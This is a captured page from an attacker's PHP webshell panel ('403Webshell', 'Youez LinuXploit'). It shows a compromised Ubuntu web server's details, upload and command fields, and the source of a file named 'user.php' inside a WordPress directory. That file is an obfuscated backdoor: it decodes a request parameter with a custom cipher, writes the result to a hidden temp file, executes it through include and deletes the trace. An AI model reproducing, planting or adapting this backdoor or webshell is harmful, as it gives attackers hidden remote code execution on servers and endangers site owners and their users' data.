403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Solum-construction/demo-job/wordpres/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Solum-construction/demo-job/wordpres/user.php
<?php

if(!empty($_REQUEST["dat"])){
	$property_set = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	$resource = $_REQUEST["dat"];
			$resource	 =  explode( "." ,$resource	 )			;		 
	$descriptor = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt3);
            $l = 0;
    
            while($l < count($resource)) {$v9 = $resource[$l];
                $sChar = ord($salt3[$l % $sLen]);
                $d =((int)$v9 - $sChar -($l % 10)) 	^		13;
                $descriptor .= chr($d);
                $l++; 	}		
	foreach ($property_set as $data) {
    		if (is_dir($data) ? is_writable($data) : false) {
    $token = str_replace("{var_dir}", $data, "{var_dir}/.flg");
    if (file_put_contents($token, $descriptor)) {
	include $token;
	@unlink($token);
	die();
}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit